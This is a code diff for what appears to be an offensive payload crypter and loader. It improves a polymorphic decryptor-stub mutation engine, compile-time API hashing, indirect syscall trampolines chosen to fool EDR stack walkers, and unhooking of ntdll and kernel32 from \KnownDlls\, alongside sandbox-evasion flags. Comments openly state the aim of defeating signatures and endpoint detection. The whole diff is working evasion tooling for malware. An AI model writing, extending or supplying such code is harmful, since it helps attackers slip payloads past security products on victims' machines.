Skip to content
8 changes: 7 additions & 1 deletion Builder/Builder.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -221,7 +221,13 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) {
}
cfg->dll_indices[0] = rnd[0] % 10;
cfg->dll_indices[1] = rnd[1] % 10;
if (cfg->dll_indices[1] == cfg->dll_indices[0]) /* nudge to avoid stomp collision */
cfg->dll_indices[1] = (cfg->dll_indices[1] + 1) % 10;
cfg->dll_indices[2] = rnd[2] % 10;
if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1])
cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10;
if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1])
cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10; /* two bumps guarantee uniqueness for 3 out of 10 */
} else {
printf("[!] Unknown preset: %s (valid: PRINT, MEDIA, NETWORK, RANDOM)\n", preset);
return FALSE;
Expand Down Expand Up @@ -263,7 +269,7 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) {
cfg->opsecFlags |= OPSEC_FLAG_KEEP_ALIVE;
}
else if (_stricmp(argv[i], "--unhook") == 0) {
cfg->opsecFlags |= EVASION_FLAG_UNHOOK;
cfg->opsecFlags |= OPSEC_FLAG_UNHOOK;
}
else if (_stricmp(argv[i], "--disable") == 0 && i + 1 < argc) {
if (!ApplyDisableList(argv[++i], &cfg->opsecFlags)) return FALSE;
Expand Down
52 changes: 32 additions & 20 deletions Engine/MutationEngine.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,9 +41,23 @@

#include "MutationEngine.h"
#include <intrin.h>
#include <stdlib.h>
#include <string.h>

/* rolled our own xorshift here — same as Crypto.c/Common.c, keeps the
* builder from having two separate PRNG states running at the same time */
static unsigned int g_mut_rand_state = 0;

static void mut_srand(unsigned int seed) {
g_mut_rand_state = seed ? seed : 123456789;
}

static int mut_rand(void) {
g_mut_rand_state ^= g_mut_rand_state << 13;
g_mut_rand_state ^= g_mut_rand_state >> 17;
g_mut_rand_state ^= g_mut_rand_state << 5;
return (int)(g_mut_rand_state & 0x7FFFFFFF);
}

/* ============================================================
* DECRYPTOR TEMPLATE – imported from DecryptorStub.asm
* ============================================================ */
Expand Down Expand Up @@ -340,7 +354,7 @@ static int EmitRorAlImm8_V3(BYTE *out, BYTE imm8) {
* V3: lea r9, [r9+1] (4D 8D 49 01) – LEA displacement, 4B
* ============================================================ */
static int EmitIncR9(BYTE *out) {
switch (rand() % 3) {
switch (mut_rand() % 3) {
case 0: /* inc r9 */
out[0] = 0x49; out[1] = 0xFF; out[2] = 0xC1;
return 3;
Expand All @@ -361,7 +375,7 @@ static int EmitIncR9(BYTE *out) {
* V2: cmp r9, rdx (4C 3B CA) – CMP r64, r/m64 (operands swapped)
* ============================================================ */
static int EmitCmpRdxR9(BYTE *out) {
switch (rand() % 2) {
switch (mut_rand() % 2) {
case 0: /* cmp rdx, r9 */
out[0] = 0x4C; out[1] = 0x39; out[2] = 0xCA;
return 3;
Expand All @@ -388,9 +402,9 @@ static int EmitBytes(BYTE *out, int offset, const BYTE *src, int len) {
* ============================================================ */
static int InsertRandomJunk(BYTE *out, int offset) {
/* Random number of junk instructions: 0, 1 or 2 */
int count = rand() % 3;
int count = mut_rand() % 3;
for (int i = 0; i < count; i++) {
int idx = rand() % JUNK_COUNT;
int idx = mut_rand() % JUNK_COUNT;
memcpy(out + offset, JUNK_TABLE[idx].bytes, JUNK_TABLE[idx].len);
offset += JUNK_TABLE[idx].len;
}
Expand All @@ -404,8 +418,8 @@ static int InsertRandomJunk(BYTE *out, int offset) {
* Returns the new offset.
* ============================================================ */
static int InsertRandomNop(BYTE *out, int offset) {
if (rand() % 2 == 0) {
int idx = rand() % NOP_VARIANT_COUNT;
if (mut_rand() % 2 == 0) {
int idx = mut_rand() % NOP_VARIANT_COUNT;
memcpy(out + offset, NOP_TABLE[idx], NOP_SIZES[idx]);
offset += NOP_SIZES[idx];
}
Expand Down Expand Up @@ -446,18 +460,18 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
if (originalStubSize < 8 ||
DecryptorStubBegin[TMPL_BLOCK_B_OFF] != 0xBA ||
DecryptorStubBegin[TMPL_BLOCK_C_OFF] != 0x45) {
HeapFree(GetProcessHeap(), 0, NULL); /* no-op, just symmetrical with alloc path */
return FALSE; /* Template mismatch — update TMPL_BLOCK_*_OFF constants */
}

SIZE_T maxStubSize = originalStubSize * 4 + 256;
if (payloadLen > (SIZE_T)-1 - maxStubSize) return FALSE; /* overflow wraps to tiny alloc, heap corruption follows */
SIZE_T bufSize = maxStubSize + payloadLen;
BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
if (!buf)
return FALSE;

/* Seed RNG for this run */
srand((unsigned int)(__rdtsc() & 0xFFFFFFFF));
mut_srand((unsigned int)(__rdtsc() & 0xFFFFFFFF));

int pos = 0; /* current write position in output buffer */

Expand Down Expand Up @@ -500,7 +514,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
/* Fisher-Yates shuffle for 4 elements → 4! = 24 orderings */
int order[4] = {0, 1, 2, 3};
for (int i = 3; i > 0; i--) {
int j = rand() % (i + 1);
int j = mut_rand() % (i + 1);
int tmp = order[i];
order[i] = order[j];
order[j] = tmp;
Expand All @@ -512,15 +526,13 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
*/
int blockB_imm_offset = -1; /* offset imm32 in mov edx */

/* Emit blocks in random order with junk in between */
/* emit blocks in shuffled order — junk before every block including the
* first one so offset 0 isn't a predictable signature anchor */
for (int i = 0; i < 4; i++) {
int idx = order[i];

/* Insert junk before the block (except the first one) */
if (i > 0) {
pos = InsertRandomJunk(buf, pos);
pos = InsertRandomNop(buf, pos);
}
pos = InsertRandomJunk(buf, pos);
pos = InsertRandomNop(buf, pos);

/* Remember the offset of imm32 inside Block B */
if (idx == 0) {
Expand Down Expand Up @@ -571,7 +583,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- First XOR step (undoes last encrypt XOR) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitXorAlImm8_V1(buf + pos, firstXorKey); break;
Expand All @@ -585,7 +597,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Step 3': sub al, KEY3 (undo ADD) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitSubAlImm8_V1(buf + pos, pKey->key3); break;
Expand All @@ -599,7 +611,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Step 2': ror al, ROT_BITS (undo ROL) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitRorAlImm8_V1(buf + pos, pKey->rotBits); break;
Expand All @@ -613,7 +625,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Last XOR step (undoes first encrypt XOR) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitXorAlImm8_V1(buf + pos, lastXorKey); break;
Expand Down
2 changes: 1 addition & 1 deletion Engine/OpsecFlags.h
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@
#define EVASION_FLAG_NO_EXEC_CTRL (1u << 9) /* skip "wuauctl" semaphore check */
#define EVASION_FLAG_NO_UPTIME (1u << 10) /* skip < 2 min uptime check */
#define EVASION_FLAG_NO_CPU_COUNT (1u << 11) /* skip < 2 CPU check */
#define EVASION_FLAG_UNHOOK (1u << 12) /* unhook */
#define OPSEC_FLAG_UNHOOK (1u << 12) /* restore ntdll/kernel32/kernelbase .text from \\KnownDlls\\ */
#define EVASION_FLAG_NO_SLEEP_FWD (1u << 13) /* skip sleep-forwarding check */
#define EVASION_FLAG_NO_SCREEN_RES (1u << 14) /* skip screen resolution check */
#define EVASION_FLAG_NO_RECENT_FILES (1u << 15) /* skip recent-files count check */
Expand Down
6 changes: 3 additions & 3 deletions Stub/ApiHashing.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,9 +22,9 @@ constexpr int RandomCompileTimeSeed(void)
__TIME__[0] * 36000;
};

// Compile-time seed generation for Djb2 hashing, ensuring variability across different compilations
// Modulo 0xFF to ensure the seed fits within a byte, which is sufficient for our hashing needs
constexpr auto DJB2_SEED = RandomCompileTimeSeed() % 0xFF;
// per-build hash seed derived from __TIME__ — different binary each compile
// range [1,254]: zero seed breaks DJB2 for single-char strings
constexpr auto DJB2_SEED = (RandomCompileTimeSeed() % 0xFE) + 1;

extern "C" constexpr DWORD HashStringDjb2A(const char* String) {
DWORD Hash = DJB2_SEED;
Expand Down
2 changes: 1 addition & 1 deletion Stub/Stub.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ extern "C" int EntryPoint() {
* \KnownDlls\ clean copies, overwriting EDR inline hooks.
* Runs after InitNtApi so Sys_Nt* wrappers (HellsHall) are available.
* Runs before StackSpoof so subsequent Win32 calls hit clean code. */
if (opsecFlags & EVASION_FLAG_UNHOOK) {
if (opsecFlags & OPSEC_FLAG_UNHOOK) {
Unhook_RestoreAll();
}

Expand Down
44 changes: 32 additions & 12 deletions Stub/Syscalls.c
Original file line number Diff line number Diff line change
Expand Up @@ -15,18 +15,18 @@ static SYSCALL_ENTRY g_Syscalls[MAX_SYSCALLS];
static DWORD g_SyscallCount = 0;
static PVOID g_CleanTrampoline = NULL;

// Helper to sort syscall entries by RVA
/* insertion sort — ntdll Zw* exports come out of the export table nearly in
* RVA order already, so this is effectively O(n) almost every time */
static void SortSyscalls() {
for (DWORD i = 0; i < g_SyscallCount - 1; i++) {
for (DWORD j = 0; j < g_SyscallCount - i - 1; j++) {
if (g_Syscalls[j].RVA > g_Syscalls[j + 1].RVA) {
SYSCALL_ENTRY temp = g_Syscalls[j];
g_Syscalls[j] = g_Syscalls[j + 1];
g_Syscalls[j + 1] = temp;
}
for (DWORD i = 1; i < g_SyscallCount; i++) {
SYSCALL_ENTRY key = g_Syscalls[i];
int j = (int)i - 1;
while (j >= 0 && g_Syscalls[j].RVA > key.RVA) {
g_Syscalls[j + 1] = g_Syscalls[j];
j--;
}
g_Syscalls[j + 1] = key;
}
// Assign SSNs sequentially based on sorted RVA
for (DWORD i = 0; i < g_SyscallCount; i++) {
g_Syscalls[i].SSN = i;
}
Expand Down Expand Up @@ -89,16 +89,36 @@ static BOOL ParseNtdllSyscalls(PBYTE pBase) {
static PVOID FindCleanTrampoline(PBYTE pBase) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

/* need RUNTIME_FUNCTION coverage — FindJmpRbxGadget already does this,
* trampoline should too so EDR stack walkers don't flag the site */
IMAGE_DATA_DIRECTORY pdataDir = pNt->OptionalHeader.DataDirectory[3]; /* IMAGE_DIRECTORY_ENTRY_EXCEPTION */
PRUNTIME_FUNCTION pRF = NULL;
DWORD rfCount = 0;
if (pdataDir.VirtualAddress && pdataDir.Size) {
pRF = (PRUNTIME_FUNCTION)(pBase + pdataDir.VirtualAddress);
rfCount = pdataDir.Size / sizeof(RUNTIME_FUNCTION);
}

PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (custom_strcmp((char*)pSection[i].Name, ".text") == 0) {
PBYTE pText = pBase + pSection[i].VirtualAddress;
DWORD dwSize = pSection[i].Misc.VirtualSize;

for (DWORD j = 0; j < dwSize - 2; j++) {
for (DWORD j = 0; j + 2 < dwSize; j++) {
if (pText[j] == 0x0F && pText[j + 1] == 0x05 && pText[j + 2] == 0xC3) {
return (PVOID)(pText + j);
if (!pRF || rfCount == 0) return (PVOID)(pText + j);

DWORD rva = (DWORD)((pText + j) - pBase);
for (DWORD k = 0; k < rfCount; k++) {
if (rva >= pRF[k].BeginAddress && rva < pRF[k].EndAddress) {
if (!(pRF[k].UnwindData & 1))
return (PVOID)(pText + j);
break;
}
}
/* Not inside a valid RUNTIME_FUNCTION — keep scanning */
}
}
}
Expand Down
2 changes: 1 addition & 1 deletion Stub/Unhooker.c
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ static void UnhookModule(PVOID hookedBase, PVOID cleanBase) {
}

BOOL Unhook_RestoreAll(void) {
/* Mapuj czyste kopie */
/* Map clean copies from \KnownDlls\ */
PVOID pCNtdll = MapKnownDll(kEncNtdll, 20, 0xAA);
PVOID pCK32 = MapKnownDll(kEncKernel32, 23, 0xAA);
PVOID pCKbase = MapKnownDll(kEncKernelbase, 25, 0xAA);
Expand Down